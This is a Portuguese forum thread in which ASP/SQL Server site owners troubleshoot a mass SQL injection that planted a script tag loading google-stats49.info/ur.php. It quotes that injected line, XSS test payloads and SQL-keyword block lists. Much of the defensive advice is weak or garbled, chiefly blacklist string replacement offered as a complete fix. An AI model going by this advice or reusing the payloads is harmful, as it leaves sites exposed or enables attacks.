Usamos cookies para medir audiência e melhorar sua experiência. Você pode aceitar ou recusar a qualquer momento. Veja sobre o iMasters.
Estou com problema em um site no qual estão introducindo codigo dentro do banco de dados.
Como o meu codigo esta em ASP vou colocar aqui.
Quase todas as tabelas e colunas faz um chamado para o virus: ////google-stats49.info/ur.php
Coloco um monte de /// para que não funcione o link, não entre porque vai contaminar o pc.
Alguem sabe aonde pode esta o problema?
obrigado
verifique também o SQL inject
A principio uso esta função sempre para evitar ataques com campo com formularios.
Private Function formataSQL(ByVal strEntry)
Remove caracteres maliciosos
strEntry = Replace(strEntry, "<", "<")
strEntry = Replace(strEntry, ">", ">")
strEntry = Replace(strEntry, """", "", 1, -1, 1)
strEntry = Replace(strEntry, "=", "=", 1, -1, 1)
strEntry = Replace(strEntry, "'", "''", 1, -1, 1)
strEntry = Replace(strEntry, "select", "select", 1, -1, 1)
strEntry = Replace(strEntry, "join", "join", 1, -1, 1)
strEntry = Replace(strEntry, "union", "union", 1, -1, 1)
strEntry = Replace(strEntry, "where", "where", 1, -1, 1)
strEntry = Replace(strEntry, "insert", "insert", 1, -1, 1)
strEntry = Replace(strEntry, "delete", "delete", 1, -1, 1)
strEntry = Replace(strEntry, "update", "update", 1, -1, 1)
strEntry = Replace(strEntry, "like", "like", 1, -1, 1)
strEntry = Replace(strEntry, "drop", "drop", 1, -1, 1)
strEntry = Replace(strEntry, "create", "create", 1, -1, 1)
strEntry = Replace(strEntry, "modify", "modify", 1, -1, 1)
strEntry = Replace(strEntry, "rename", "rename", 1, -1, 1)
strEntry = Replace(strEntry, "alter", "alter", 1, -1, 1)
'strEntry = Replace(strEntry, "cast", "cast", 1, -1, 1)
strEntry = Replace(strEntry, "{a href=", "<a href=")
strEntry = Replace(strEntry, "}", ">")
strEntry = Replace(strEntry, "{/a}", "</a>")
strEntry = Replace(strEntry, "target=_blank", "target=_blank")
strEntry = Replace(strEntry, "{/", "</")
'Retorna
formataSQL = strEntryO código foi adicionado em uma base de dados sql server.
Posso dizer que o mesmo problema tem varios site, buscando em google: http://www.google.es/#hl=es&biw=1024&bih=679&q=idg+ur.php&aq=f&aqi=&aql=&oq=&gs_rfai=&fp=ff77526ecf0eea9c
Sai uns quantos sites com o mesmo problema, a caracteristica principal é que o titulo e as descriçoes aparece o texto vermelho abaixo.
</title><script src=http://///google-stats50 ... ur.php
Alguns dos site estão limpando os dados um por um e já não aparece, mais olhando o cache do google se pode ver a linha do script.
Não descarto do virus te vindo de algum email e te robado a senha do meu banco de dados.
Não sei por onde começar...
o que quero é fechar a porta.
obrigado
Acho que no laboratório de scripts tem alguns exemplos de anti-sql injetcion.
Nos artigos da imasters tem também alguns artigos falando sobre isso e como evitar (ou pelo menos diminuir isso).
Seria bom verificar e limpar o codigo malicioso nas paginas assim o problema não se repitirá.
Além é claro, da limpeza no banco de dados.
Caso use o analytics do google ou alguma das ferramentas dele, é bom informar que o site está limpo do virus, pois ele pode colocar o seu site na base de dados de sites com virus / scripts maliciosos.
E se o virus de alguma forma veio por e-mail e pegou a senha do seu site como disse, é bom instalar um bom anti-virus e ter seu cliente de e-mail atualizado.
Se mais alguem tem acesso ao banco de dados, também é bom rever quem tem o acesso e porque, além da mudança da senha do banco de dados por outra, mais complexa.
>
Acho que no laboratório de scripts tem alguns exemplos de anti-sql injetcion.
Nos artigos da imasters tem também alguns artigos falando sobre isso e como evitar (ou pelo menos diminuir isso).
Seria bom verificar e limpar o codigo malicioso nas paginas assim o problema não se repitirá.
Além é claro, da limpeza no banco de dados.
Caso use o analytics do google ou alguma das ferramentas dele, é bom informar que o site está limpo do virus, pois ele pode colocar o seu site na base de dados de sites com virus / scripts maliciosos.
E se o virus de alguma forma veio por e-mail e pegou a senha do seu site como disse, é bom instalar um bom anti-virus e ter seu cliente de e-mail atualizado.
Se mais alguem tem acesso ao banco de dados, também é bom rever quem tem o acesso e porque, além da mudança da senha do banco de dados por outra, mais complexa.
Pelo o que eu estou vendo o ataque veio por XSS, eu uso muitas variaveis querystring e nesse caso não comprovo o seu valor.
Pelo o que estive lendo e pela forma que apresenta o codigo deve ter vindo de ai.
Achei isso na net:
[font=monospace]<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "[http://www.w3.org/TR/html4/loose.dtd">[/font]](http://www.w3.org/TR/html4/loose.dtd)
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<title>Bienvenidos a <?php echo $_GET['title']; ?></title>
</head>
<body>
</body>
[font=monospace]</html>[/font]
[font=monospace]teste.asp?title=</title><script>alert("¡Exemplo de codigo...!")</script>[/font]
Vou trocar as senhas, mais tenho arquivos que se actualiza por ajax, mais sempre confiro a sessão asp antes de enviar...
Ainda estou estudando todos os erros...
Vou verificar se os dados estao vindo do mesmo dominio antes de enviar a informaçao.
Agora mesmo não sei se o problema veio atraves do meu pc ou erro de seguridade XSS.
quem é responsavél pelo server, ou você esta execuntando no localhost
>
quem é responsavél pelo server, ou você esta execuntando no localhost
É um servidor grande... não esta em localhost
Atraves da forma de passar valores pela url é possivel conseguir adicionar dados no bd?
É possivel sim, inserir codigo malicioso via querystring.
Caso ingles nao seja problema, segue um link que fala um pouco sobre as tecnicas de sql injetcion: http://www.4guysfromrolla.com/webtech/061902-1.shtml
Nele tem alguns links de assuntos relacionados.
tem mais resultados sobre esse assunto.
>
É possivel sim, inserir codigo malicioso via querystring.
Caso ingles nao seja problema, segue um link que fala um pouco sobre as tecnicas de sql injetcion: http://www.4guysfrom.../061902-1.shtml
Nele tem alguns links de assuntos relacionados.
Aqui: http://www.google.co...l=&oq=&gs_rfai=
tem mais resultados sobre esse assunto.
Vou da uma olhada, muito obrigado pela atenção.
sugiro também que entre em contato com o host, para verificar se esta tudo configurado corretamente e as atualizações feitas
Boa tarde pessoal,
também estou sofrendo com estes ataques desde 21/9.
Limpei o código *<script src=http://google-stats50.info/ur.php></script>* no mesmo dia do primeiro ataque;
no dia seguinte colocaram *<script src=http://google-stats49.info/ur.php></script>*
Em todas as pastas que acessam o administrador de conteúdo opção "diretório protegido" do painel "plesk" além disso...
Corrigi falhas nos formulários e nos comandos request.querystrings no dia 29/09, tive paz até hoje 28/09 de tarde :( .
Variavel = replace(Variavel,"'","")
Variavel = replace(Variavel,"#","")
Variavel = replace(Variavel,"$","")
Variavel = replace(Variavel,"%","")
Variavel = replace(Variavel,"¨","")
Variavel = replace(Variavel,"&","")
Variavel = replace(Variavel,"'or'1'='1'","")
Variavel = replace(Variavel,"--","")
Variavel = replace(Variavel,"insert","")
Variavel = replace(Variavel,"drop","")
Variavel = replace(Variavel,"delet","")
Variavel = replace(Variavel,"xp_","")
Variavel = replace(Variavel,"select","")
Variavel = replace(Variavel,"*","")
Variavel = replace(Variavel,"(","")
Variavel = replace(Variavel,")","")
---------------------------------------------------
Pelo que percebi nos sites que também foram invadidos eles tem isso em comun:
Banco SQLSERVER programação em ASP
Pesquisei sobre o domínio utilizado para hospedar o virus e vi que forma registrados diversos dominios..
http://google-stats49.info (3 ataque que estou sofrendo)
http://google-stats48.info (2 ataque que sofri)
http://google-stats50.info (1 ataque que sofri)
----------------------------------------------------
Não sei mais o que fazer.
Pessoal descobri uma falha em 1 arquivo e corrigi. Até agora nao fui atacado.
Caso alguem esteja com este problema, verifique minuciosamente cada arquivo.
Abs
>
Pessoal descobri uma falha em 1 arquivo e corrigi. Até agora nao fui atacado.
Caso alguem esteja com este problema, verifique minuciosamente cada arquivo.
Abs
Eu fui atacado de novo de ontem para hoje... pelo o que estou entendendo o ataque tem que vim do site normal aonde não existem sessão por querystring...
e o que seu host alega sobre isso?!?!?1
Eles falaram que foi um ataque atraves da programação... e pelo jeito foi mesmo.
Estou fazendo teste passando valores como:
'><script>alert("teste")</script>
E tentando que o mesmo não seja executado...
Acho que criando uma página para erro personalizada tambem ajuda por não mostrar o erro e nenhuma informação que possa ajudar.
Achei um site muito legal em ingles... vou ver se encontro o link e coloco aqui.
Pelo jeito tem comando de sql server que retorna o numero de colunas e etc da tabela...
Pessoal, o meu problema foi resolvido mesmo. Não sofri nenhum ataque desde a última postagem que fiz aqui.
Deem uma olhada neste video e depois observem seus sites.
Ontem eu vi um melhor que este, mas nao o encontrei.
Façam o seguinte.
1º Criem uma funcao com um replace de todos os caracters e comandos possíveis:
Ex.: NomedaFuncao = Replace(NomedaFuncao, "'", "")
2º Aplique a funcao criada em todos os request:
Ex.: NomedaFuncao(request.Form("Formulario"))
NomedaFuncao(request.QueryString("Parametro"))
Isso vai resolver
Estou acessando este post periodicamente para ajudar quem ainda está com este problema.
O Cracker que fez isso não sabe o trabalho que me deu com isso. rs
O único ponto positivo disso td é que vi que meus sites tinham falhas.
Abs para todos e boa sorte!!
e o ataque é por Javascript???
Muitos dos problemas de segurança criados a partir da linguagem Javascript não podem ser explorados diretamente, isto é, necessitam da interação com o usuário. Como a maioria dos usuários não sabe dos perigos implícitos neste tipo de tecnologia, os ataques se tornam fáceis de serem executados, pois os usuários oferecem toda a ajuda possível. Por exemplo: muitos ataques requerem que os usuários apertem botões que aparecem em caixas de diálogos para que o código hostil seja ativado. Uma trapaça comum é construir uma caixa de diálogo para que o usuário pressione um botão, sendo que a mensagem mostrada na tela é a mais simples possível, como "Click OK para continuar". Na caixa de diálogo existe somente um botão chamado "OK". Usuários ingênuos apertam o botão ativando o ataque. Como exemplos de ataques pode-se citar:
Javascript pode ser usado para rastrear todos os "sites" visitados por um usuário sem o seu conhecimento, reportando as informações para o atacante;
O usuário pode ingenuamente enviar arquivos via correio eletrônico para o atacante apertando um botão de confirmação que aparece na tela do Browser;
JavaScript pode ser usado para montar ataques em sistemas que bloqueiam a entrada de Applets Java. Por exemplo: muitas Firewalls evitam a entrada de Applets Java removendo qualquer código existente entre os marcadores (Tags) <APPLET> e </APPLET> de um documento HTML. Entretanto, JavaScript pode ser usado para recriar um marcador <APPLET> no código fonte da página HTML que está sendo recebida. Outra maneira de realizar o mesmo ataque seria desenvolver uma página HTML com o seguinte marcador (Tag) </%41pplet>, sendo o código JavaScript usado para modificar o marcador para </Applet> logo após o recebimento da página.>
Pessoal, o meu problema foi resolvido mesmo. Não sofri nenhum ataque desde a última postagem que fiz aqui.
Deem uma olhada neste video e depois observem seus sites.
Ontem eu vi um melhor que este, mas nao o encontrei.
Façam o seguinte.
1º Criem uma funcao com um replace de todos os caracters e comandos possíveis:
Ex.: NomedaFuncao = Replace(NomedaFuncao, "'", "")
2º Aplique a funcao criada em todos os request:
Ex.: NomedaFuncao(request.Form("Formulario"))
NomedaFuncao(request.QueryString("Parametro"))
Isso vai resolver
Estou acessando este post periodicamente para ajudar quem ainda está com este problema.
O Cracker que fez isso não sabe o trabalho que me deu com isso. rs
O único ponto positivo disso td é que vi que meus sites tinham falhas.
Abs para todos e boa sorte!!
Obrigado por compartir.
Encontrei este site que explica tambem
http://www.governmentsecurity.org/articles/sql-injection-attack-prevention.html
Tem muitos videos no youtube...
Por mim pode da este tema por finalizado.
sempre que for exibir algo que outros usuários adicionaram é necessário e recomendado que use a função HTMLEncode para evitar alguns tipos de ataques e não precisar restringir o que o usuário insere
Tem alguma vulnerabilidade seria seu sistema
Ele está já hospedado em algum lugar?